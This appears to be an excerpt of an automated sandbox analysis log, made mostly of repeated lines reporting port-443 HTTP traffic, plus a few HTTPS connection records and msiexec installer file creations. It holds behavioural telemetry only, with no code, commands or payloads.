Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935

Source: unknown	HTTPS traffic detected: 185.15.58.240:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.134.82.79:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49761 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\6605ad.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI697.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F6.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI716.tmp	Jump to behavior
